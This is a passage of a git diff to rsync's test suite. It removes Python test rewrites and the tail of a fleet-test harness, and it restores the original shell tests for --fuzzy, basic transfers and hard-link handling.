dir when we exit -- success or failure, and best-effort on\n-    # Ctrl-C/kill (a signal mid-push may still leave a remnant). SIGKILL can't be\n-    # caught; `fleettest.py --cleanup` sweeps any such remnant.\n-    if not args.keep:\n-        _cleanup_targets.extend(chosen)\n-        atexit.register(cleanup_run)\n-        signal.signal(signal.SIGINT, _on_signal)\n-        signal.signal(signal.SIGTERM, _on_signal)\n-\n-    # Stage committed HEAD (source-only). Each target regenerates its own\n-    # build files with its own toolchain -- exactly like the CI jobs, which\n-    # install autotools / python-markdown / dev-libs in their prepare step.\n-    # (Pushing locally-generated files instead fights rsync's Makefile\n-    # maintainer rules: a target with a different autoconf version sees\n-    # \"configure.sh has CHANGED\" and errors.) So each target must be\n-    # provisioned like its workflow -- see the module docstring.\n-    staging = tempfile.mkdtemp(prefix=\"rsync-fleettest-stage.\")\n-    try:\n-        ar = subprocess.run(f\"git -C {REPO} archive HEAD | tar -x -C {staging}\",\n-                            shell=True, capture_output=True, text=True)\n-        if ar.returncode != 0:\n-            print(f\"git archive failed: {ar.stderr}\", file=sys.stderr)\n-            return 2\n-\n-        # --testsuite-repo: overlay another tree's runtests.py + testsuite/ onto\n-        # the built source (merge, no delete). Build REPO's rsync, but run\n-        # TESTSUITE_REPO's suite against it. The leftover .test files from REPO\n-        # are ignored by a Python runtests.py (it globs *_test.py).\n-        if TESTSUITE_REPO != REPO:\n-            ov = subprocess.run(\n-                f\"git -C {TESTSUITE_REPO} archive HEAD -- runtests.py testsuite \"\n-                f\"| tar -x -C {staging}\",\n-                shell=True, capture_output=True, text=True)\n-            if ov.returncode != 0:\n-                print(f\"testsuite overlay archive failed: {ov.stderr}\", file=sys.stderr)\n-                return 2\n-\n-        # Tests that opt into the non-root pass (same for every target).\n-        args.nonroot_tests = discover_nonroot_tests(Path(staging) / \"testsuite\")\n-\n-        # Targets are grouped by machine, and a machine's targets run one after\n-        # another. Two targets CAN name the same host -- an alternate-filesystem\n-        # variant of another target does exactly that -- and running those at\n-        # the same time breaks both: they would fight over the fixed ports the\n-        # daemon tests claim, and over any other host-global state. Different\n-        # machines still run concurrently, which is where the parallelism was.\n-        groups: dict[str, list[Target]] = {}\n-        for t in chosen:\n-            groups.setdefault(t.ssh_host or \"<local>\", []).append(t)\n-        for host, ts in groups.items():\n-            if len(ts) > 1:\n-                log(f\"[{host}] {len(ts)} targets on one machine, run in \"\n-                    f\"sequence: {', '.join(x.name for x in ts)}\")\n-\n-        def run_group(ts: 'list[Target]') -> 'list[TargetResult]':\n-            out = []\n-            for t in ts:\n-                try:\n-                    out.append(run_target(t, args, staging))\n-                except Exception as e:  # never let one target kill the run\n-                    r = TargetResult(t.name)\n-                    r.reachable = False\n-                    r.error = f\"harness exception: {e!r}\"\n-                    out.append(r)\n-            return out\n-\n-        results: list[TargetResult] = []\n-        with concurrent.futures.ThreadPoolExecutor(max_workers=len(groups)) as ex:\n-            futs = {ex.submit(run_group, ts): ts for ts in groups.values()}\n-            for fut in concurrent.futures.as_completed(futs):\n-                ts = futs[fut]\n-                try:\n-                    results.extend(fut.result())\n-                except Exception as e:  # a whole group died: account for each\n-                    for t in ts:\n-                        r = TargetResult(t.name)\n-                        r.reachable = False\n-                        r.error = f\"harness exception: {e!r}\"\n-                        results.append(r)\n-    finally:\n-        subprocess.run([\"rm\", \"-rf\", staging])\n-\n-    # Before the exit sweep runs: mark failed targets' run dirs to survive and\n-    # write their output locally, so the report can point at both.\n-    kept = keep_on_fail(results, args, chosen) if args.keep_on_fail else []\n-\n-    all_ok = print_report(results, args, fleet)\n-    if kept:\n-        print(\"==== KEPT FOR POST-MORTEM (--keep-on-fail) ====\")\n-        for k in kept:\n-            print(f\"    {k}\")\n-        print(\"=\" * 64)\n-    if args.timing:\n-        print_timing(results)\n-    return 0 if all_ok else 1\n-\n-\n-if __name__ == \"__main__\":\n-    sys.exit(main())\ndiff --git a/testsuite/fuzzy-basis_test.py b/testsuite/fuzzy-basis_test.py\ndeleted file mode 100644\nindex d91a3b9..0000000\n--- a/testsuite/fuzzy-basis_test.py\n+++ /dev/null\n@@ -1,45 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage of --fuzzy basis selection scoring (util1.c fuzzy_distance).\n-\n-When the destination has no exact match for a source file, --fuzzy makes the\n-generator score the same-directory candidates by name similarity (fuzzy_distance)\n-and use the closest as the delta basis. Set this up at depth with several\n-similar-named candidates so the scorer actually runs.\n-\"\"\"\n-\n-import os\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    assert_same, make_data_file, makepath, rmtree, run_rsync, test_fail,\n-)\n-\n-src = FROMDIR\n-deepdir = os.path.join('d1', 'd2')\n-newfile = os.path.join(deepdir, 'archive-v2.tar')\n-\n-rmtree(src)\n-rmtree(TODIR)\n-makepath(src / deepdir, TODIR / deepdir)\n-\n-make_data_file(src / newfile, 300_000)\n-base = (src / newfile).read_bytes()\n-\n-# Destination has NO 'archive-v2.tar', but several similar-named candidates that\n-# are mostly identical to it -- so fuzzy must score them by name distance.\n-(TODIR / deepdir / 'archive-v1.tar').write_bytes(base[:280_000] + b'older tail data')\n-(TODIR / deepdir / 'archive-old.tar').write_bytes(base[:200_000])\n-(TODIR / deepdir / 'unrelated.dat').write_bytes(b'nothing alike' * 1000)\n-\n-# Capture --debug=FUZZY: a correct final file alone would also result from a\n-# full transfer that ignored --fuzzy, so assert the scorer actually chose the\n-# closest-named candidate (archive-v1.tar) as the basis, not just that bytes match.\n-proc = run_rsync('-a', '--fuzzy', '--no-whole-file', '--debug=FUZZY',\n-                 f'{src}/', f'{TODIR}/', capture_output=True)\n-want = f'fuzzy basis selected for {newfile}: {os.path.join(deepdir, \"archive-v1.tar\")}'\n-if want not in proc.stdout:\n-    test_fail(f\"--fuzzy did not score archive-v1.tar as the closest basis; \"\n-              f\"expected {want!r}, --debug=FUZZY output was:\\n{proc.stdout}\")\n-assert_same(TODIR / newfile, src / newfile, label='fuzzy result')\n-\n-print(\"fuzzy-basis: --fuzzy candidate scoring (fuzzy_distance) verified at depth\")\ndiff --git a/testsuite/fuzzy.test b/testsuite/fuzzy.test\nnew file mode 100644\nindex 0000000..101ffd3\n--- /dev/null\n+++ b/testsuite/fuzzy.test\n@@ -0,0 +1,24 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2005-2022 Wayne Davison\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING).\n+\n+# Test rsync handling of the --fuzzy option.\n+\n+. \"$suitedir/rsync.fns\"\n+\n+mkdir \"$fromdir\"\n+mkdir \"$todir\"\n+\n+cp_p \"$srcdir\"/rsync.c \"$fromdir\"/rsync.c\n+cp_touch \"$fromdir\"/rsync.c \"$todir\"/rsync2.c\n+sleep 1\n+\n+# Let's do it!\n+checkit \"$RSYNC -avvi --no-whole-file --fuzzy --delete-delay \\\n+    '$fromdir/' '$todir/'\" \"$fromdir\" \"$todir\"\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/fuzzy_test.py b/testsuite/fuzzy_test.py\ndeleted file mode 100644\nindex 03c5730..0000000\n--- a/testsuite/fuzzy_test.py\n+++ /dev/null\n@@ -1,34 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/fuzzy.test.\n-#\n-# Test --fuzzy: with a matching-content file already in the destination\n-# under a different name, rsync should use it as a basis for the new name\n-# instead of re-transferring (and --delete-delay still removes the stale\n-# basis file at the end).\n-\n-import time\n-\n-from rsyncfns import (\n-    FROMDIR, SRCDIR, TODIR, cp_p, cp_touch, run_rsync, test_fail, verify_dirs,\n-)\n-\n-\n-FROMDIR.mkdir(parents=True, exist_ok=True)\n-TODIR.mkdir(parents=True, exist_ok=True)\n-\n-cp_p(SRCDIR / 'rsync.c', FROMDIR / 'rsync.c')\n-cp_touch(FROMDIR / 'rsync.c', TODIR / 'rsync2.c')\n-time.sleep(1)\n-\n-# Drive rsync directly (rather than checkit) so we can capture --debug=FUZZY:\n-# a final tree match alone would also be produced by a full transfer that\n-# ignored --fuzzy, so assert the generator actually picked rsync2.c as the\n-# fuzzy basis for rsync.c (generator.c find_fuzzy / \"fuzzy basis selected\").\n-proc = run_rsync('-avvi', '--no-whole-file', '--fuzzy', '--delete-delay',\n-                 '--debug=FUZZY', f'{FROMDIR}/', f'{TODIR}/',\n-                 capture_output=True)\n-if 'fuzzy basis selected for rsync.c: rsync2.c' not in proc.stdout:\n-    test_fail(\"--fuzzy did not select rsync2.c as the basis for rsync.c; \"\n-              f\"--debug=FUZZY output was:\\n{proc.stdout}\")\n-# ...and --delete-delay still removes the stale basis, leaving TODIR == FROMDIR.\n-verify_dirs(FROMDIR, TODIR)\ndiff --git a/testsuite/git-set-file-times-python-compat-regression_test.py b/testsuite/git-set-file-times-python-compat-regression_test.py\ndeleted file mode 100644\nindex 1c70d48..0000000\n--- a/testsuite/git-set-file-times-python-compat-regression_test.py\n+++ /dev/null\n@@ -1,30 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"The support utility must start on the suite's supported Python.\"\"\"\n-\n-import os\n-import subprocess\n-import sys\n-from pathlib import Path\n-\n-\n-source_dir = Path(os.environ.get(\"srcdir\", Path(__file__).resolve().parents[1]))\n-script = source_dir / \"support\" / \"git-set-file-times\"\n-proc = subprocess.run(\n-    [sys.executable, str(script), \"--help\"],\n-    stdout=subprocess.PIPE,\n-    stderr=subprocess.PIPE,\n-    text=True,\n-)\n-\n-if proc.returncode != 0:\n-    sys.stderr.write(proc.stdout)\n-    sys.stderr.write(proc.stderr)\n-    sys.stderr.write(\n-        \"git-set-file-times did not start with Python %s\\n\"\n-        % \".\".join(str(value) for value in sys.version_info[:3])\n-    )\n-    raise SystemExit(1)\n-\n-if \"usage: git-set-file-times\" not in proc.stdout:\n-    sys.stderr.write(\"git-set-file-times --help did not print its usage\\n\")\n-    raise SystemExit(1)\ndiff --git a/testsuite/growing-file_test.py b/testsuite/growing-file_test.py\ndeleted file mode 100644\nindex 572e512..0000000\n--- a/testsuite/growing-file_test.py\n+++ /dev/null\n@@ -1,105 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression: a file that grows between file-list scan and data send must not\n-# abort the whole transfer.\n-#\n-# The sender records each file's length when it scans the file list, but re-\n-# stats and maps the file at its *current* size when it later sends the data\n-# (sender.c: do_fstat + map_file + match_sums use st.st_size).  A file that is\n-# appended to in that window -- e.g. a live log rotated/written during a nightly\n-# backup -- is therefore transmitted longer than its flist-recorded length.\n-#\n-# Stock rsync tolerates this: the receiver writes the grown content and the\n-# transfer completes.  A hardening check added to receive_data()\n-# (offset + i > total_size / offset + len > total_size) turned it into a fatal\n-# \"received more data than file length\" RERR_PROTOCOL, tearing down the whole\n-# connection so every file after the growing one is skipped.\n-#\n-# The receive_data() check is transport-agnostic (same code for a local, a\n-# remote-shell, and a daemon receiver), so this drives the simplest case: a\n-# local transfer with the growth injected during an earlier, throttled file.\n-#\n-# RED  (unfixed tree): rsync exits RERR_PROTOCOL (2) with \"received more data\n-#                      than file length\".\n-# GREEN (checks removed): rsync exits 0 and the grown file is copied.\n-\n-import filecmp\n-import os\n-import subprocess\n-import threading\n-import time\n-\n-from rsyncfns import SCRATCHDIR, make_data_file, rmtree, rsync_argv, test_fail\n-\n-base = SCRATCHDIR / 'growing-file'\n-src = base / 'src'\n-dst = base / 'dst'\n-rmtree(base)\n-src.mkdir(parents=True)\n-dst.mkdir(parents=True)\n-\n-# 'aaa_big' sorts first and is sent first; --bwlimit throttles it so the append\n-# to the later file lands well after the flist is built (--no-inc-recursive\n-# forces the whole flist up front) but well before that file is sent.\n-make_data_file(src / 'aaa_big', 6 * 1024 * 1024)\n-\n-grow = src / 'zzz_grow'\n-make_data_file(grow, 4096)                 # flist records this small length\n-orig_size = grow.stat().st_size\n-\n-grow_done = threading.Event()\n-\n-\n-def appender():\n-    # After the flist scan, during aaa_big's ~4s throttled transfer.\n-    time.sleep(0.6)\n-    with open(grow, 'ab') as fh:\n-        fh.write(os.urandom(256 * 1024))\n-        fh.flush()\n-        os.fsync(fh.fileno())\n-    grow_done.set()\n-\n-\n-t = threading.Thread(target=appender)\n-t.start()\n-\n-proc = subprocess.run(\n-    rsync_argv('-a', '--no-inc-recursive', '--bwlimit=1500', f'{src}/', f'{dst}/'),\n-    capture_output=True, text=True)\n-\n-t.join()\n-\n-# Guard against a vacuous run: the file must actually have grown during the\n-# transfer, else we never exercised the scenario.\n-if not grow_done.is_set() or grow.stat().st_size <= orig_size:\n-    test_fail(\"test setup: source file did not grow during the transfer\")\n-\n-if proc.returncode != 0:\n-    if 'received more data than file length' in (proc.stdout + proc.stderr):\n-        test_fail(\n-            \"rsync aborted the whole transfer with RERR_PROTOCOL when a file \"\n-            \"grew during the run (received more data than file length); it \"\n-            \"should tolerate the growth like stock rsync.\\n\"\n-            f\"exit={proc.returncode}\\n{proc.stdout}{proc.stderr}\")\n-    test_fail(f\"rsync exited {proc.returncode}\\n{proc.stdout}{proc.stderr}\")\n-\n-if not (dst / 'zzz_grow').is_file():\n-    test_fail(\"the grown file was not transferred to the destination\")\n-if not (dst / 'aaa_big').is_file():\n-    test_fail(\"the earlier (throttled) file was not transferred\")\n-\n-# Prove the scenario was actually exercised (not a vacuous pass): the sender\n-# transmitted the *grown* content (more than the flist-recorded orig_size), and\n-# the destination is a byte-for-byte copy of the final source.\n-final_src = grow.stat().st_size\n-dst_size = (dst / 'zzz_grow').stat().st_size\n-if dst_size <= orig_size:\n-    test_fail(f\"destination only got {dst_size} bytes (<= original {orig_size}); \"\n-              \"the growth-during-transfer path was not exercised\")\n-if dst_size != final_src:\n-    test_fail(f\"destination size {dst_size} != final source size {final_src}; \"\n-              \"the grown content was not fully transferred\")\n-if not filecmp.cmp(str(grow), str(dst / 'zzz_grow'), shallow=False):\n-    test_fail(\"destination content does not match the grown source\")\n-\n-print(\"growing-file: a file appended to during the transfer no longer aborts \"\n-      \"the run; the grown file (and all later files) transfer intact\")\ndiff --git a/testsuite/hands.test b/testsuite/hands.test\nnew file mode 100644\nindex 0000000..8e265b7\n--- /dev/null\n+++ b/testsuite/hands.test\n@@ -0,0 +1,38 @@\n+#!/bin/sh\n+\n+# Copyright (C) 1998, 1999 by Philip Hands <phil@hands.com>\n+# Copyright (C) 2001, 2002 by Martin Pool <mbp@samba.org>\n+#\n+# This program is distributable under the terms of the GNU GPL (see COPYING)\n+\n+. \"$suitedir/rsync.fns\"\n+\n+hands_setup\n+\n+DEBUG_OPTS=\"--debug=all0,deltasum0\"\n+\n+# Main script starts here\n+\n+runtest \"basic operation\" 'checkit \"$RSYNC -av \\\"$fromdir/\\\" \\\"$todir\\\"\" \"$fromdir/\" \"$todir\"'\n+\n+ln \"$fromdir/filelist\" \"$fromdir/dir\"\n+runtest \"hard links\" 'checkit \"$RSYNC -avH --bwlimit=0 $DEBUG_OPTS \\\"$fromdir/\\\" \\\"$todir\\\"\" \"$fromdir/\" \"$todir\"'\n+\n+rm \"$todir/text\"\n+runtest \"one file\" 'checkit \"$RSYNC -avH $DEBUG_OPTS \\\"$fromdir/\\\" \\\"$todir\\\"\" \"$fromdir/\" \"$todir\"'\n+\n+echo \"extra line\" >> \"$todir/text\"\n+runtest \"extra data\" 'checkit \"$RSYNC -avH $DEBUG_OPTS --no-whole-file \\\"$fromdir/\\\" \\\"$todir\\\"\" \"$fromdir/\" \"$todir\"'\n+\n+cp \"$fromdir/text\" \"$todir/ThisShouldGo\"\n+runtest \" --delete\" 'checkit \"$RSYNC --delete -avH $DEBUG_OPTS \\\"$fromdir/\\\" \\\"$todir\\\"\" \"$fromdir/\" \"$todir\"'\n+\n+cd \"$tmpdir\"\n+rm -rf to from/*dir\n+\n+# Do the real copy, touch up the parent-dir's time, and then check the copy.\n+$RSYNC -av from/* to/\n+checkit \"$RSYNC -av --exclude='*' from/ to/\" \"$fromdir\" \"$todir\"\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/hands_test.py b/testsuite/hands_test.py\ndeleted file mode 100644\nindex b693cb0..0000000\n--- a/testsuite/hands_test.py\n+++ /dev/null\n@@ -1,63 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/hands.test.\n-#\n-# The canonical end-to-end transfer test: build a richly-populated source\n-# tree via hands_setup() then run a series of rsync invocations covering\n-# basic operation, hard links, single-file copies, --no-whole-file delta\n-# updates and --delete cleanup. After each run the source and destination\n-# tree listings must match exactly.\n-\n-import os\n-import shutil\n-\n-from rsyncfns import FROMDIR, TMPDIR, TODIR, checkit, hands_setup, run_rsync\n-\n-\n-hands_setup()\n-\n-DEBUG_OPTS = \"--debug=all0,deltasum0\"\n-\n-\n-# 1. basic operation\n-print(\"Test basic operation:\")\n-checkit(['-av', f'{FROMDIR}/', str(TODIR)], FROMDIR, TODIR)\n-\n-# 2. hard links — link filelist into dir/ then transfer with -H so the\n-# receiver should recreate the link relationship.\n-os.link(FROMDIR / 'filelist', FROMDIR / 'dir' / 'filelist')\n-print(\"Test hard links:\")\n-checkit(['-avH', '--bwlimit=0', DEBUG_OPTS, f'{FROMDIR}/', str(TODIR)], FROMDIR, TODIR)\n-\n-# 3. one file — delete the destination 'text' and re-sync; only it should\n-# transfer, everything else stays uptodate.\n-(TODIR / 'text').unlink()\n-print(\"Test one file:\")\n-checkit(['-avH', DEBUG_OPTS, f'{FROMDIR}/', str(TODIR)], FROMDIR, TODIR)\n-\n-# 4. extra data — append to destination then re-sync with --no-whole-file so\n-# the rsync delta algorithm has to repair it.\n-with open(TODIR / 'text', 'a') as f:\n-    f.write(\"extra line\\n\")\n-print(\"Test extra data:\")\n-checkit(['-avH', DEBUG_OPTS, '--no-whole-file', f'{FROMDIR}/', str(TODIR)], FROMDIR, TODIR)\n-\n-# 5. --delete — add a stray file on the destination and confirm --delete\n-# removes it.\n-shutil.copy(FROMDIR / 'text', TODIR / 'ThisShouldGo')\n-print(\"Test --delete:\")\n-checkit(['--delete', '-avH', DEBUG_OPTS, f'{FROMDIR}/', str(TODIR)], FROMDIR, TODIR)\n-\n-# 6. globbed copy without recursion — wipe and re-sync top-level entries by\n-# glob, then a final empty pass to compare listings.\n-os.chdir(TMPDIR)\n-shutil.rmtree('to', ignore_errors=True)\n-for entry in TMPDIR.glob('from/*dir'):\n-    if entry.is_dir():\n-        shutil.rmtree(entry, ignore_errors=True)\n-    else:\n-        entry.unlink()\n-\n-# Replicate `rsync -av from/* to/` — list the from/ children explicitly.\n-sources = sorted(str(p) for p in (TMPDIR / 'from').iterdir())\n-run_rsync('-av', *sources, 'to/')\n-checkit(['-av', '--exclude=*', 'from/', 'to/'], FROMDIR, TODIR)\ndiff --git a/testsuite/hardlinks-deep_test.py b/testsuite/hardlinks-deep_test.py\ndeleted file mode 100644\nindex def0aa2..0000000\n--- a/testsuite/hardlinks-deep_test.py\n+++ /dev/null\n@@ -1,36 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage of -H across directory boundaries.\n-\n-hardlinks_test.py exercises -H on sibling files at the tree root; this\n-companion checks that -H preserves a hard link whose two names live in\n-DIFFERENT directories several levels deep (the cross-directory case the\n-resolver restructure touches), and that without -H the names become\n-independent inodes.\n-\"\"\"\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    assert_hardlinked, assert_not_hardlinked, makepath, rmtree, run_rsync,\n-)\n-import os\n-\n-src = FROMDIR\n-a = os.path.join('a', 'aa', 'orig')\n-b = os.path.join('b', 'bb', 'hardlink')\n-\n-rmtree(src)\n-rmtree(TODIR)\n-makepath(src / 'a' / 'aa', src / 'b' / 'bb')\n-(src / a).write_text(\"shared content across directories\\n\")\n-os.link(src / a, src / b)            # one inode, two names in different dirs\n-\n-# -H preserves the cross-directory hard link.\n-run_rsync('-aH', f'{src}/', f'{TODIR}/')\n-assert_hardlinked(TODIR / a, TODIR / b, label='-H cross-dir hardlink')\n-\n-# Without -H the two names are copied as independent files.\n-rmtree(TODIR)\n-run_rsync('-a', f'{src}/', f'{TODIR}/')\n-assert_not_hardlinked(TODIR / a, TODIR / b, label='no -H => separate inodes')\n-\n-print(\"hardlinks-deep: -H preserves a cross-directory hard link at depth\")\ndiff --git a/testsuite/hardlinks-emlink-recovery_test.py b/testsuite/hardlinks-emlink-recovery_test.py\ndeleted file mode 100644\nindex d002987..0000000\n--- a/testsuite/hardlinks-emlink-recovery_test.py\n+++ /dev/null\n@@ -1,121 +0,0 @@\n-#!/usr/bin/env python3\n-\n-import os\n-import platform\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, makepath, rmtree, rsync_argv, test_fail, test_skipped\n-\n-\n-if platform.system() != 'Linux':\n-    test_skipped('the LD_PRELOAD link hook is Linux-only')\n-if os.environ.get('ASAN_OPTIONS'):\n-    test_skipped('the LD_PRELOAD link hook conflicts with AddressSanitizer')\n-\n-hook_code = r'''\n-#define _GNU_SOURCE\n-#include <sys/stat.h>\n-#include <sys/types.h>\n-#include <dlfcn.h>\n-#include <errno.h>\n-#include <fcntl.h>\n-#include <stdlib.h>\n-#include <unistd.h>\n-\n-static int (*real_link)(const char *, const char *);\n-static int (*real_linkat)(int, const char *, int, const char *, int);\n-\n-static void resolve_hooks(void)\n-{\n-    if (!real_link)\n-        real_link = dlsym(RTLD_NEXT, \"link\");\n-    if (!real_linkat)\n-        real_linkat = dlsym(RTLD_NEXT, \"linkat\");\n-}\n-\n-static int refuse_source(int dirfd, const char *path)\n-{\n-    const char *target = getenv(\"RSYNC_EMLINK_SOURCE\");\n-    struct stat source_st, target_st;\n-    int fd;\n-\n-    if (!target || !path\n-     || fstatat(dirfd, path, &source_st, 0) < 0\n-     || stat(target, &target_st) < 0\n-     || source_st.st_dev != target_st.st_dev\n-     || source_st.st_ino != target_st.st_ino)\n-        return 0;\n-\n-    fd = open(getenv(\"RSYNC_EMLINK_MARKER\"), O_WRONLY | O_CREAT, 0600);\n-    if (fd >= 0)\n-        close(fd);\n-    errno = EMLINK;\n-    return 1;\n-}\n-\n-int link(const char *oldpath, const char *newpath)\n-{\n-    resolve_hooks();\n-    if (refuse_source(AT_FDCWD, oldpath))\n-        return -1;\n-    return real_link(oldpath, newpath);\n-}\n-\n-int linkat(int olddirfd, const char *oldpath, int newdirfd,\n-           const char *newpath, int flags)\n-{\n-    resolve_hooks();\n-    if (refuse_source(olddirfd, oldpath))\n-        return -1;\n-    return real_linkat(olddirfd, oldpath, newdirfd, newpath, flags);\n-}\n-'''\n-\n-base = SCRATCHDIR / 'hardlinks-emlink-recovery'\n-rmtree(base)\n-src = base / 'src'\n-dest = base / 'dest'\n-makepath(src / 'a', src / 'b', src / 'c', dest / 'a')\n-\n-(src / 'a' / 'f').write_bytes(b'hard-link data\\n')\n-os.link(src / 'a' / 'f', src / 'b' / 'f')\n-os.link(src / 'a' / 'f', src / 'c' / 'f')\n-(dest / 'a' / 'f').write_bytes(b'hard-link data\\n')\n-source_st = (src / 'a' / 'f').stat()\n-os.utime(dest / 'a' / 'f', ns=(source_st.st_atime_ns, source_st.st_mtime_ns))\n-\n-hook_src = base / 'hook.c'\n-hook_lib = base / 'hook.so'\n-hook_src.write_text(hook_code)\n-build = subprocess.run(\n-    ['cc', '-shared', '-fPIC', '-o', str(hook_lib), str(hook_src), '-ldl'],\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-if build.returncode != 0:\n-    test_skipped(f'cannot build the LD_PRELOAD link hook: {build.stdout!r}')\n-\n-marker = base / 'hook-fired'\n-env = os.environ.copy()\n-env.update({\n-    'LD_PRELOAD': str(hook_lib),\n-    'RSYNC_EMLINK_SOURCE': str(dest / 'a' / 'f'),\n-    'RSYNC_EMLINK_MARKER': str(marker),\n-})\n-result = subprocess.run(\n-    rsync_argv('-aH', f'{src}/', f'{dest}/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, env=env)\n-\n-if not marker.exists():\n-    test_fail(f'EMLINK hook did not fire: rc={result.returncode}, output={result.stdout!r}')\n-if result.returncode != 23:\n-    test_fail(f'rsync exited {result.returncode}, expected 23: {result.stdout!r}')\n-\n-paths = [dest / 'a' / 'f', dest / 'b' / 'f', dest / 'c' / 'f']\n-missing = [str(path.relative_to(dest)) for path in paths if not path.is_file()]\n-if missing:\n-    test_fail(f'hard-link recovery omitted {missing}: {result.stdout!r}')\n-if any(path.read_bytes() != b'hard-link data\\n' for path in paths):\n-    test_fail('hard-link recovery changed file content')\n-\n-inos = [path.stat().st_ino for path in paths]\n-if inos[1] != inos[2]:\n-    test_fail(f'fallback topology is wrong: inodes={inos}, output={result.stdout!r}')\ndiff --git a/testsuite/hardlinks.test b/testsuite/hardlinks.test\nnew file mode 100644\nindex 0000000..68fd270\n--- /dev/null\n+++ b/testsuite/hardlinks.test\n@@ -0,0 +1,87 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2002 by Martin Pool <mbp@samba.org>\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING).\n+\n+# Test rsync handling of hardlinks.  By default, rsync does not detect\n+# hard links and they get sent as separate files.  If you specify -H,\n+# then hard links are detected and linked together on the receiver.\n+\n+. \"$suitedir/rsync.fns\"\n+\n+SSH=\"$scratchdir/src/support/lsh.sh\"\n+\n+# Build some hardlinks\n+\n+fromdir=\"$scratchdir/from\"\n+todir=\"$scratchdir/to\"\n+\n+# TODO: Need to test whether hardlinks are possible on this OS/filesystem\n+\n+mkdir \"$fromdir\"\n+name1=\"$fromdir/name1\"\n+name2=\"$fromdir/name2\"\n+name3=\"$fromdir/name3\"\n+name4=\"$fromdir/name4\"\n+echo \"This is the file\" > \"$name1\"\n+ln \"$name1\" \"$name2\" || test_skipped \"Can't create hardlink\"\n+ln \"$name2\" \"$name3\" || test_fail \"Can't create hardlink\"\n+cp \"$name2\" \"$name4\" || test_fail \"Can't copy file\"\n+cat $srcdir/*.c >\"$fromdir/text\"\n+\n+checkit \"$RSYNC -aHivv --debug=HLINK5 '$fromdir/' '$todir/'\" \"$fromdir\" \"$todir\"\n+\n+echo \"extra extra\" >>\"$todir/name1\"\n+\n+checkit \"$RSYNC -aHivv --debug=HLINK5 --no-whole-file '$fromdir/' '$todir/'\" \"$fromdir\" \"$todir\"\n+\n+# Add a new link in a new subdirectory to test that we don't try to link\n+# the files before the directory gets created.  We also create a bunch of\n+# extra files to ensure that an incremental-recursion transfer works across\n+# distant files.\n+makepath \"$fromdir/subdir/down/deep\"\n+\n+files=''\n+for x in a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9; do\n+    for y in a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9; do\n+\tfiles=\"$files $x$y\"\n+    done\n+done\n+(cd \"$fromdir/subdir\"; touch $files)\n+\n+ln \"$name1\" \"$fromdir/subdir/down/deep/new-file\"\n+rm \"$todir/text\"\n+\n+checkit \"$RSYNC -aHivve '$SSH' --debug=HLINK5 --rsync-path='$RSYNC' '$fromdir/' localhost:'$todir/'\" \"$fromdir\" \"$todir\"\n+\n+# Do some duplicate copies using --link-dest and --copy-dest to test that\n+# we hard-link all locally-inherited items.\n+checkit \"$RSYNC -aHivv --debug=HLINK5 --link-dest='$todir' '$fromdir/' '$chkdir/'\" \"$todir\" \"$chkdir\"\n+\n+rm -rf \"$chkdir\"\n+checkit \"$RSYNC -aHivv --debug=HLINK5 --copy-dest='$todir' '$fromdir/' '$chkdir/'\" \"$fromdir\" \"$chkdir\"\n+\n+# Create a hard link that has only one part in the hierarchy.\n+echo \"This is another file\" >\"$fromdir/solo\"\n+ln \"$fromdir/solo\" \"$chkdir/solo\" || test_fail \"Can't create hardlink\"\n+\n+# Make sure that the checksum data doesn't slide due to an HLINK_BUMP() change.\n+checktee \"$RSYNC -aHivc --debug=HLINK5 '$fromdir/' '$chkdir/'\"\n+grep solo \"$outfile\" && test_fail \"Erroneous copy of solo file occurred!\"\n+\n+# Make sure there's nothing wrong with sending a single file with -H\n+# enabled (this has broken twice so far, so we need this test).\n+rm -rf \"$todir\"\n+$RSYNC -aHivv --debug=HLINK5 \"$name1\" \"$todir/\"\n+diff $diffopt \"$name1\" \"$todir\" || test_fail \"solo copy of name1 failed\"\n+\n+# Make sure there's nothing wrong with sending a single directory with -H\n+# enabled (this has broken in 3.4.0 so far, so we need this test).\n+rm -rf \"$fromdir\" \"$todir\"\n+makepath \"$fromdir/sym\" \"$todir\"\n+checkit \"$RSYNC -aH '$fromdir/sym' '$todir'\" \"$fromdir\" \"$todir\"\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/hardlinks_test.py b/testsuite/hardlinks_test.py\ndeleted file mode 100644\nindex 728264f..0000000\n--- a/testsuite/hardlinks_test.py\n+++ /dev/null\n@@ -1,113 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/hardlinks.test.\n-#\n-# Verify rsync -H detects hard links and re-creates them on the receiver.\n-# Also covers the incremental-recursion path (lots of small files), the\n-# remote (lsh.sh) path, --link-dest / --copy-dest, --checksum without\n-# slipping HLINK_BUMP boundaries, and the single-file / single-directory\n-# corner cases that have broken in the past.\n-\n-import os\n-import shutil\n-import subprocess\n-\n-from rsyncfns import (\n-    CHKDIR, FROMDIR, OUTFILE, RSYNC, RSYNC_PEER, SRCDIR, TODIR,\n-    checkit, makepath, rsync_argv, test_fail, test_skipped, rsync_path_arg, rsh_cmd,\n-)\n-\n-\n-SSH = rsh_cmd()\n-\n-FROMDIR.mkdir(parents=True, exist_ok=True)\n-name1 = FROMDIR / 'name1'\n-name2 = FROMDIR / 'name2'\n-name3 = FROMDIR / 'name3'\n-name4 = FROMDIR / 'name4'\n-name1.write_text(\"This is 